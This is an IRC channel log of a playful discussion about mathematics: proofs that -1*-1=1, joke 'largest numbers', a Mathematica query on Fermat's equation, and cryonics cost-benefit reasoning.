:Anyway, there's sci.philosophy.meta, too; is that a science? < 1269204476 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://groups.google.com/group/sci.math/msg/4ed1481f25475af2 < 1269204523 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1269205203 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269205639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :back < 1269205649 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wb < 1269205732 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : alise < 1269205733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : can you tell me ANYTHIGN mathematica does which will impress me < 1269205736 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You already know CASs. So: No. < 1269205745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It can "prove" some things by simplification. It can calculate some things quickly. < 1269205750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It can rewrite things symbolically. < 1269205754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It can do algebra, and calculus. < 1269205784 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : It occurs to me that it's unlikely to be helpful if I die in the near future. At this point, I seem to be healthy, so if I die, it is likely due to an accident.. < 1269205785 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Well, actually, I guess accident victims do die in hospitals later sometimes, so < 1269205789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There are arrangements for that. < 1269205794 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is just like organ donation. < 1269205796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Of course, if Alcor [or whatever organization] goes bust.. < 1269205805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They are extremely financially conservative, but yes that is a possibility. < 1269205856 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269205877 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269205957 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise, not if my head is crushed in an accident < 1269205963 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Nothing they can do about that < 1269205969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then you are totally fucked but that is unlikely. < 1269206062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You should sign up for cryonics if (p*v)-c >= 0, where p is your estimated probability of cryonics working, v is the value (in the same monetary units as c) you place on a successful cryonics outcome and c is the cost of cryonics < 1269206109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You get cryonics with your health insurance if you're a USian, so you have to figure out what it adds to that. < 1269206149 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But unless you have a very low estimate of cryonics working, you don't value greatly extended life much, or you simply can't afford it, it's probably positive. < 1269206266 0 :BeholdMyGlory!unknown@unknown.invalid NICK :BeholdMyGlory_ < 1269206268 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory__ < 1269206271 0 :BeholdMyGlory__!unknown@unknown.invalid NICK :BeholdMyGlory_ < 1269206273 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1269206405 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269206423 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269207375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In[39]:= FullSimplify[ < 1269207375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : a^n + b^n == c^n, {a \[Element] Integers, b \[Element] Integers, < 1269207375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : c \[Element] Integers, a > 0, b > 0, c > 0, n \[Element] Integers, < 1269207375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : n > 2}] < 1269207375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Out[39]= False < 1269207379 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Probability of that being hard-coded: 1 < 1269207432 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what if you do n > 1 ? < 1269207444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In[41]:= FullSimplify[ < 1269207445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : a^n + b^n == c^n, {a \[Element] Integers, b \[Element] Integers, < 1269207445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : c \[Element] Integers, a > 0, b > 0, c > 0, n \[Element] Integers, < 1269207445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : n > 1}] < 1269207445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Out[41]= a^n + b^n == c^n < 1269207554 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Of course it's hard-coded :-P < 1269207574 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mathematica is boring < 1269207750 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://demonstrations.wolfram.com/FiniteFieldTables/ cool < 1269207826 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Heh, a bot-tweet refers to "webster's encyclopedic unabridged dictionary of folklore"; that sounds like a good book. (Unfortunately also apparently nonexistant.) < 1269207921 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'd buy a copy if it existed < 1269208127 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269208330 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269208730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We should have m!ⁿ, which is basically m!ⁿ = H(n, m, m!ⁿ), where H = http://en.wikipedia.org/wiki/Hyper_operator. < 1269208744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So n!� is the nth triangular number. < 1269208756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :n!� is n!. < 1269208770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :!� is... logtorial? < 1269208775 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And so on. < 1269208800 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: You defined it in terms of itself < 1269208807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's called recursion < 1269208810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I was too lazy to specify a base case < 1269208840 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269208853 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't see how that works at all, but whatever < 1269208862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Presumably m!ⁿ = 1 if n < 1. < 1269208868 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, if n = 0. < 1269208874 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :When does n change? < 1269208878 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Er. < 1269208880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Right yu are. < 1269208881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(m-1) < 1269208882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*you < 1269208883 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1269208885 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise this so not satisfying me < 1269208890 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's just sliderst and shit < 1269208912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0!ⁿ = 1 < 1269208913 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :m!ⁿ = H(n, m, (m-1)!ⁿ) < 1269208958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :G₆₄!^G₆₄; move over, xkcd. < 1269208968 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269208972 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :+ 1; move over, alise. < 1269208993 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :A(A(G₆₄, G₆₄)!^A(G₆₄, G₆₄), A(G₆₄, G₆₄)!^A(G₆₄, G₆₄)) < 1269208996 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ohhh snap < 1269208999 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :+ 1 < 1269209005 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION explodes
< 1269209016 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm an ultrafinitist; I don't believe in (G₆₄!^G₆₄)+1 < 1269209019 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I win, Deewiant. < 1269209021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I win. < 1269209035 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You shouldn't believe in your own number then either ;-P < 1269209062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :G₆₄!^G₆₄ is the largest number. < 1269209067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Ultrafinitism != physical finitism.) < 1269209088 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I forget the details; whatever < 1269209338 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gren < 1269209392 0 :olsner!unknown@unknown.invalid QUIT :Quit: Leaving < 1269209561 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269209585 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :G_64 is the largest number ever used seriously, so it's the largest number. < 1269209636 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, better: the largest number is one less than the smallest prime number greater than G_64. < 1269209650 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269209665 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A somewhat recursive definition: the largest number is -1. < 1269209672 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269209679 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269209692 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :0 isn't a number, then? < 1269209702 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Of course it's a number. But it's way, way, way smaller than -1. < 1269209715 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders a definition of that largest number that doesn't mention any larger numbers.
< 1269209775 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Here's something easier to define. < 1269209787 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Ah, I see. You subscribe to the believe that -1 is 0b11111111111111111111111... < 1269209788 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The largest number is 162. 162 + 1 = 0. < 1269209795 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :coppro: more or less. < 1269209806 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :gogo two's complement < 1269209814 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, there are 0 numbers. But it's the big 0, not the small 0. < 1269209875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: *0b....11111 < 1269209906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, if -1 = 0b...1111, then -2 = -1 - 1 = (0b...1111) - (0b...0001) = (0b...1110). < 1269209908 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: same difference; it's an infinite number of 1s < 1269209945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but your notation made no sense :P < 1269209951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, so -2 = infinity minus 1. < 1269209961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So is 1/0 = -1? < 1269209974 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269210010 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1/2 is the biggest number... 2 = 1.11111111... = 1/2 + 1/4 + 1/8 + ... so infinity = 2 + 4 + 8 + ... = 1/2 < 1269210039 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So 1/2 = 82, 1/3 = 109, 1/5 = 98, 1/7 = 70, and 1/11 = 89. < 1269210041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: So 2/0 = -2? < 1269210048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So -1/0 = 1. < 1269210053 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269210070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-1*0 = 1. Wait, what? < 1269210079 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269210083 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1*0 = -1. Wait, WHAT?!?! < 1269210087 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Has Epigram just died? < 1269210087 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Nothing seems to have happened for years... < 1269210095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: What, the language? < 1269210103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hell no! < 1269210104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.e-pig.org/epilogue/ < 1269210111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's been actively developed for ages now... < 1269210112 0 :phantomhoover!~user@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269210113 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if square roots exist in my word-where-the-biggest-number-is-162. < 1269210123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> Phantom_Hoover: What, the language? < 1269210123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> Hell no! < 1269210123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> http://www.e-pig.org/epilogue/ < 1269210124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> It's been actively developed for ages now... < 1269210124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* phantomhoover (~user@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com) has joined #esoteric < 1269210125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> Phantom_Hoover: What, the language? < 1269210126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> Hell no! < 1269210127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> http://www.e-pig.org/epilogue/ < 1269210129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<alise> It's been actively developed for ages now... < 1269210131 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh yeah... < 1269210131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* phantomhoover (~user@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com) has joined #esoteric < 1269210133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1269210135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :stupid client < 1269210140 0 :phantomhoover!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269210144 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So what's -1 * -1 in my cubic truth? < 1269210149 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Presumably -1; after all, inf * inf = inf. :D < 1269210172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I HAVE CRACKED THE CUBIC SECRET TO MATHEMATICS!!! < 1269210180 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :timecube.com < 1269210186 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nice < 1269210195 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gene Ray will soon appoint me Deputy Doctor of Cubic. < 1269210217 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I've never actually been convinced that -1*-1 = 1. < 1269210217 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No-one has ever proven it. < 1269210217 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :They just say "it's obvious." < 1269210226 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x_x < 1269210228 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: pretty easy to prove < 1269210231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's the definition of multiplication. < 1269210248 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Go on... < 1269210258 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Lemma 1 : -1 * x = -x < 1269210262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Integers#Construction < 1269210263 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Lemma 2 : --x = x < 1269210269 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Theorem -1 * -1 = 1. < 1269210280 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Prove it. < 1269210281 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Proof: instantiate lemma 1 with x = 1, then apply lemma 2 < 1269210290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(a-b)*(c-d)=(ac+bd)-(ad+bc) < 1269210299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a=c=0, b=d=1 < 1269210302 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my proof works in any ring < 1269210307 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :integers are just one ring < 1269210319 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :fax: Lemma 2 is just my question restated. < 1269210328 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, Lemma 1 is the difficult one actually, Lemma 2 is trivial < 1269210333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: you don't understand < 1269210343 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: these things are true because they are HOW WE DEFINE THEM < 1269210345 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there is no underlying truth < 1269210370 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise actually there is.... < 1269210379 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I suppose I won't be happy until I see it derived from a well-defined set of axioms. < 1269210382 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, well. < 1269210382 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's presumably possible to define a system in which -1 * -1 = -1, but it would break a LOT of things < 1269210383 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1269210391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> let times (a,b) (c,d) = ((a*c)+(b*d))-((a*d)+(b*c)) < 1269210391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> times (0,1) (0,1) < 1269210391 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1269210399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :axioms: peano arithmetic pretty much < 1269210404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus a definition of Z < 1269210420 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'll add thit theorem to my al-jabr :P < 1269210428 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take a step one foot forward! < 1269210429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he's left anyway < 1269210430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dumbass < 1269210439 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as if nobody has ever defined integer multiplication using axioms < 1269210444 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take a step -1 feet forward! I guess you step backwards. < 1269210449 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, you're way to prove it is good too < 1269210460 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :a lot better actually < 1269210461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*your! Aah, it burns! (Sorry.) < 1269210469 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but mine is more general < 1269210473 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take -1 steps one foot forward! I guess you do the reverse of a forward step, so go backwards again. < 1269210480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Proof By Here's The Definition, Just Fucking Evaluate It < 1269210486 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take -1 steps -1 feet forward! Okay, do the reverse of a backward step. Step forwards. < 1269210500 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The definition isn't random; it was chosen because it makes sense. < 1269210913 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://github.com/odge/al-jabr/blob/master/Abstract/Ring.v < 1269210923 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ityh Bhyti < 1269210929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or Ytih Bhyti. < 1269210935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or Ytih Bhity. < 1269210939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or Ityh Bhity. < 1269210947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :All are acceptable romanisations! < 1269211238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :furtht < 1269211247 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :afwpfhdlho < 1269211355 0 :impomatic!unknown@unknown.invalid QUIT :Quit: mov.i #1,1 < 1269212005 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269212010 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269212176 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269212999 0 :charlls!charlls@186.72.28.229 JOIN :#esoteric < 1269213030 0 :alise_!~alise___@212.183.140.7 JOIN :#esoteric < 1269213105 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :alise_, what LessWrong things do you disagree with? < 1269213117 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269213130 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'd have to search to recall prior examples. < 1269213316 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's philosophy man < 1269213321 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you don't agree or disagree with it < 1269213330 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you just read it and think a lot about stuff < 1269213337 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I would not call Less Wrong philosophy. < 1269213344 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well you can agree or disagree but you don't have to < 1269213346 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I would say that in general they disdain philosophy. < 1269213440 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269213580 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269214279 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol @ Phantom_Hoover < 1269214305 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :@ what? < 1269214311 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he didn't really say anything that I found funny :( < 1269214327 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :after your formal proof he said he will not be happy until seeing a formal proof < 1269214339 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269214356 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i thought that was funny, even though i guess you could've elaborated a bit < 1269214386 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I left him the interesting cases to prove himself < 1269214404 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's the best way to really understand why cubic truth contradicts ring theory < 1269214415 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but alises one is so much sweeter < 1269214423 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(of course only on integers.. but still) < 1269214453 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in general what is a*b in cubic truth? < 1269214461 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :-1*-1 = -1 < 1269214462 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's all he says < 1269214466 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :presumably -2*-2 = -4 < 1269214475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so -x*-y = -(x*y) < 1269214481 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :-a*-b = -(ab), if a and b >= 0? < 1269214498 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hey he might believe in -0 too < 1269214554 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if a, b >= 0, what's -a * b? < 1269214573 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :is it -ab? < 1269214589 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :someone should email him about -0 < 1269214592 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1269214597 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION once believed in a number more 0-like than 0
< 1269214603 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh, the release notes included in this firmware package of my ADSL modem have a "ZyXEL Confidential" header, and start with: "The information presented in this document is strictly confidential and supplied on the understanding that it will be handled as confidential material. Disclosure of any part of this document to third parties, without the prior written consent from the author, is prohibited." But maybe I shouldn't have told you that! < 1269214616 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, I like the sound of that.. < 1269214641 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269214694 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :if we have a hausdorff measure, we usually say m({})^0 = 0, and m(S)^0 = 1 for any other set for which m(S) = 0 < 1269214699 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean < 1269214714 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :when we're finding the hausdorff measure, these are the conventions used < 1269214719 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklodorff < 1269214749 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so we sort of have these *really zero* measures, when the set is not just zero measure but empty < 1269214792 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but in measure theory we're always working with the extended reals, so why not have multiple zeroes too < 1269214858 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :1/infinity would probably be the bigger zero, having (1/infinity)^0 = 1 < 1269214870 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :clearly that bigger zero has a sign too < 1269214891 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Our maths teacher (highschool?) used to say that 0^0 is "mickey mouse", and then draw the other ear in too. < 1269214892 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269214920 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but how is that a mouse? < 1269214933 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and another thing, I've heard about this four color theorem... but WHICH four colors? < 1269214942 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but at some point you just have to leave stuff partial, because the next field after reals is quite a lot bigger < 1269214953 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :red, green and blue, but i don't know the last one < 1269214959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is it an open problem? < 1269214965 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh might be < 1269214983 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's definitely not obvious < 1269214986 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It is a mouse in the sense that °0° is two-ears-and-a-head. I guess it leaves the rest of the body as an open problem. < 1269214989 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Integers between 0 and 3, inclusive. < 1269215000 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but it's got two 0's < 1269215003 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :OH < 1269215010 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :you add another earrrr < 1269215011 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :0^0 is ntoation for the exponent < 1269215036 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah always remember to render the latex < 1269215073 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, {^0}0^0? < 1269215118 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION believed that since 1/inf = 0, 0/inf must be more "0-like" than 0
